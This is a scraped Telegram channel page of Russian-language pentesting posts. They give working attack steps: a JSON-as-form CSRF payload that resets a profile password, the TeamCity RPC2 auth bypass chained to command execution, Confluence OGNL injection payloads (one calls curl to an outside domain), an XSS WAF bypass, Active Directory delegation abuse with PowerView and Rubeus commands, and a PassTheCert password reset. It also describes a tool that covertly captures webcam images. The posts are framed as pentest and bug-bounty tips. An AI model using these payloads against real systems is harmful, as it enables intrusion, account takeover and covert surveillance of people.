Monkey Hacker
Мартышка просто хочет научиться пентестить
نمایش بیشتر587
مشترکین
اطلاعاتی وجود ندارد24 ساعت
+27 روز
+3830 روز
- مشترکین
- پوشش پست
- ER - نسبت تعامل
در حال بارگیری داده...
معدل نمو المشتركين
در حال بارگیری داده...
Repost from [email protected]
То, что уже не должно встречаться, но все еще встречается (#bb_tips?).
Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить
CSRF
было бы грехом. Однако, общение с бэкендом происходит через Rest
с использованием Content-type: application/json
. Это значит, что запрос будет сложным и значит, что легкого пути в эксплуатации CSRF быть не должно. Ведь так..?
Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо application/json
ставим application/x-www-form-urlencoded
, а тело запроса оставляем прежним :).
Сразу хочется отметить, что burp
не сгенерирует полезную нагрузку, поэтому вот сниппет, которым можно воспользоваться:
<script>
let req = new XMLHttpRequest();
req.open("POST", "https://vulnerable.host/api/profile/update", false);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.withCredentials = true;
var params = '{"first_name":"riven","last_name":"riven","birthday":"01/01/1337", "password":"pwned"}';
console.log(params);
req.send(params);
</script>
👍 7🌭 1
Photo unavailableShow in Telegram
Token that gives me power
Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с
RPC2
В целом стоит начать, что TeamCity
используется для автоматизированной сборки и тестирования ПО. А он написан на Java
Ребята нашли интересный дифф в методе XmlRpcController.getPathSuffix
. Точнее был прикол, связанный с wildcard path
. Плюс TeamCity
использует фреймворк Spring
, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы. По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2
, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера.
/app/rest/users/<userLocator>/tokens/<tokenName>
Отсюда мы имеем следующий сценарий
Получаем токен администратора
POST /app/rest/users/id:1/tokens/RPC2
С его помощью, мы теперь можем создать пользователя с админскими правами
POST localhost:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2"
Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)
POST
/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true
Не забываем все это применить к текущему конфигу
POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties
И теперь мы имеем возможность исполнять команды
POST /app/rest/debug/processes?exePath=id
Не забываем удалять токен
DELETE /app/rest/users/id:1/tokens/RPC2
🌭 7👍 3❤ 3🗿 2
Repost from SHADOW:Group
🦊 Про кастомные элементы в DOM
Иногда бывает полезно посмотреть
customElements.define()
в библиотеках и внутреннем JS-коде. Эта функция регистрирует новые элементы DOM, и WAF свободно пропускает их.
На скрине внизу показан стандартный JS для PyScript, в котором создается элемент <py-script>
, что приводит к интересному байпасу:
<py-script>'\74img/src/onerror\75alert(domain)\76'</py-script>
Попробовать самостоятельно можно тут.
#web #xss👍 5
OGNL and sandboxes
Существует такая вещь в
Java
, как Object Graph Notation Language
(OGNL
) еще один Expression language
. Чаще всего данный фреймворк можно заметить в продуктах Apache и Attlasian
OGNL
вызывает методы несколько иначе, чем Java, поскольку OGNL
интерпретируется и должен выбрать нужный метод во время выполнения программы, не имея никакой дополнительной информации о типе, кроме собственно предоставленных аргументов. OGNL
всегда выбирает наиболее специфичный метод, типы которого соответствуют заданным аргументам
Спустя время, выяснилось, что через OGNL
можно также сделать Command Injection
. Метод эксплуатации чем-то напоминает SSTI
😻
Разберу пару вулн в Confluence
. Проблемы появлялись из-за isSafeExpression
При рендеринге странице, есть спрятанный параметр queryString
😑
Именно он дает нам возможность, поиграться с Java
queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl your-domain.com\u0022)}%2b\u0027
Потом нашли проблему в URI. Просто кидай пейлоад сразу в корень (не забудь энкодить)👍
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}
Увы и ах, но спустя время и это тоже пофиксили. Однако, MCKSysAr нашел байпасс.
Самое банальное - это использовать Class
, вместо class
. Или использовать конкатенацию строк.
Дальше, один из экспертов решил пойти глубже и начал смотреть Abstract Syntax Tree
(AST
). Как оказалось, AST
давал много векторов, для обхода ограничений
Самое вкусное было найдено в BeanMap
, который позволял сделать, уже полноценный байпасс
(#@org.apache.commons.beanutils.BeanMap@\\u007b\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))
Всем удачи 😇👍 3🔥 2
Всем, ку
В этом году, на OFFZONE помогаю с бейджами. Надеюсь, что они работают хорошо и стабильно (хотя проблемы есть у некоторых)✨
Всем хорошо провести мероприятие 😇
👍 4❤ 4
Computer Object Takeover
Завершая играться с AD, нашел достаточно интересный сценарий, связанный с абьюзом
Generic
Если в сетке есть пользователь с правами GenericWrite
, то возможно зайти с повышенными привилегиями на другой тачке
Данный сценарий возможен, т.к Generic
позволяет изменять DACL
🔥
Для этого мы создаем новую учетку тачки. По дефолту параметр ms-DS-MachineAccountQuota
позволяет всем пользователям домена добавлять до 10 учетных записей машин
SID в принципе и сами можете вставить, но решил чуть облегчить процесс 🐈
New-MachineAccount -MachineAccount aboba -Password $(ConvertTo-SecureString
'Test@123' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer -Domain dev.domain.local aboba -Properties objectsid | select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc02.domain.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
После этого можно использовать тот же Rubeus
, для получения RC4-хэша.
Rubeus.exe hash /user:aboba /password:Test@123 /domain:dev.domain.local
И затем юзаем s4u
для повышения своих привилегий за счет получения TGS
Rubeus.exe s4u /user:aboba$ /rc4:4E35B802576F770E77851BAB9D4AE172 /impersonateuser:administrator /msdsspn:cifs/dc02.domain.local /ptt
Для облегчения я юзал PowerMad и PowerView
Bye-bye 🎧GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
PowerShell MachineAccountQuota and DNS exploit tools - GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
❤ 6👍 2🌭 2
Repost from Похек
Photo unavailableShow in Telegram
📣Список импактов, которые можно получить от эксплуатации XSS
Представьте вы нашли XSS, но если её сдать просто так, то вам вряд ли поставят высокий уровень угрозы. Тогда вам следует сначала понять какой максимальную урон вы можете воспроизвести с помощью найденной уязвимости. Чем понятнее вы опиши свой импакт, тем выше вероятность что вам заплатят больше и могут даже апнуть уровень угрозы.
⬇️XSS⬇️
* Change email -> password reset
* Change password
* Change phone -> SMS password reset
* Change security questions
* Add SSO login (login with GitHub, ect)
* Force logout -> Session Fixation
* Steal session token via non-HTTP only cookie
* Steal session token via insecure embed in page
* Steal API key for application
* Add admin user to organization
* Hijack oAuth flow and steal code
* Steal SSO code to adjacent app, then reverse SSO back to main app
* Add authentication method (SMS, email, etc)
* Gain access to refresh token for JWT or session
📌Добавляйте свои варианты в комментариях и расшарьте по чатам багхантеров. Уверен, коллеги смогут добавить свои идеи :)
#bugbounty
Дневник Безопасника 🛡
👍 5
Photo unavailableShow in Telegram
Play with Domain via PassTheCert
Часто для захвата домена используется PKINIT, который позволяет получить
TGT
(или его NT-хэш
). Сам же PKINIT представляет из себя механизм для предварительной аутентификации в Kerberos
, который использует сертификаты X.509
в аутентификации KDC
для клиентов и наоборот (хотя иногда позволяет клиенту получить билет, не выполняя аутентификацию).
Однако, DC
не всегда поддерживает PKINIT
. Это может быть связано с отсутствием Smart Card Logon
. И тут нам уже поможет LDAP
, позволяющий аутентифицироваться с помощью клиентского сертификата и выполнять различные действия. Для таких случаев ребята написали тулзу PassTheCert 🎧
PassTheCert позволяет выполнять различные вектора атак
Предоставление пользователю прав DCSync
Модификация атрибута msDS-AllowedToActOnBehalfOfOtherIdentity
Добавление компьютера в домен, что полезно для выполнения RBCD-атак
.
Сброс пароля учетной записи. Но без прав User-Force-Change-Password
это не сработает
Я рассматривал использование данной тулзы в последнем случае
python3 passthecert.py -dc-ip 10.10.10.X -action modify_user -crt user.crt -key user.key -domain corp.com -target aboba -new-pass
❤ 5👍 2👏 1
Repost from RedTeam brazzers
Photo unavailableShow in Telegram
В выпуске «За кулисами Red Team» @Riocool упоминает, что на пентестах помимо скриншотов десктопа бывает сподручно делать снимки с веб-камеры на контролируемой рабочей станции, чтобы убедиться, находится ли юзверь в данный момент за ПеКа, либо же, к примеру, отлучился на свой закономерный обеденный перерыв. Раньше я не прибегал к подобному трюку, однако подсознательно часто испытывал потребность в такого рода проверках, ведь ворваться в GUI-сеанс определенного пользователя временами бывает просто необходимо.
Поискав готовые решения в сети, стало очевидно, что «из коробки» капчурить вебку умеет только дедушка meterpreter, а встраивать поделки на плюсах в свои проекты для выполнения из памяти не всегда удобно. Еще немного погуглив, наткнулся на этот интересный пост на Медиуме, где в параграфе Webcam Capture упоминается некий скрипт
MiniEye.ps1
от @xorrior, который якобы уже умеет делать все, что нам нужно (ссылка на скрипт из статьи отдает 404, инструмент переехал в корень репозитория – Get-DXWebcamVideo.ps1). Подход основан на использовании .NET-библиотеки DirectShowNET и обвязки для нее DirectX.Capture, блог автора которой на CodeProject также рекомендую к прочтению:
🗒 DirectX.Capture Class Library
В свободное время было решено переписать Get-DXWebcamVideo.ps1
на фреймворк, чтобы не возиться лишний раз с запуском повершелла. Смержив зависимости с помощью dnMerge, можно получить standalone-сборку, готовую для выполнения из вашего любимого агента C2:
👨💻 https://github.com/snovvcrash/SharpDXWebcam
⚠️ Помним, что инструмент предназначен исключительно для образовательных целей и кейсов этичного тестирования на проникновение в рамках контракта, а блэчить плохо!
Всем остальным – happy (ethical) hacking!👍 3❤ 2
Hello from the other side of the world
Собрал небольшой список тулзов, связанные с проксированием трафика. 🚘
Proxychains - без комментариев
GrafTCP - то же самое, что и
proxychains
, с другим механизмом "проксификации", который позволяет использовать Go
.
Chisel - тоже популярный инструмент на Go
, однако все же стоит упомянуть о нем. Могут быть проблемы при использовании разных версиях на клиентской или серверной стороне.
Еще другой пользователь писал SharpChisel, который является тем же chisel, но на C#
уже, однако замечу, что проект не поддерживается с 2020 года
Shadowsocks-Windows - shadowsocks на C#
Gost - как и chisel
, тулза тоже сделана на Go
, однако замечу, что помимо стандартной прокси, у вас есть возможность поставить прокси с аутентификацией, multiple-ports
, а также сделать как просто forward proxy
, так и многоуровневый forward proxy
. Thx to riven
Bore - по словам автора, тулза насчитывает около 400 строк безопасного, асинхронного Rust
и очень проста в настройке - достаточно запустить один двоичный файл для клиента и сервера. Скажу от себя, что работает достаточно быстро
FRP - опять Go
, тут уже позволяет нам использовать какой-то конфиг файл, token
/oidc
аутентификация, bandwidth лимит, поддержка KCP
/QUIC
и много чего другого.
GoProxy - хороша для VPS
, больше нечего сказать
Mubeng - хороша для ротации IP
Ligolo - простой в использовании. Как написано на гите: «Reverse Tunneling made easy for pentesters, by pentesters»
Pivotnacci - хорошая замена reGeorg, который проксировал HTTP
proxy.py - тоже отличная альтернатива reGeorg
ligolo-ng - вместо SOCKS
, создает интерфейс, который также можно использовать для pivoting
. Thx to D00Movenok
Если кто-то дополнит, то буду рад 😘👍 3❤ 2🔥 2👏 1
یک طرح متفاوت انتخاب کنید
طرح فعلی شما تنها برای 5 کانال تجزیه و تحلیل را مجاز می کند. برای بیشتر، لطفا یک طرح دیگر انتخاب کنید.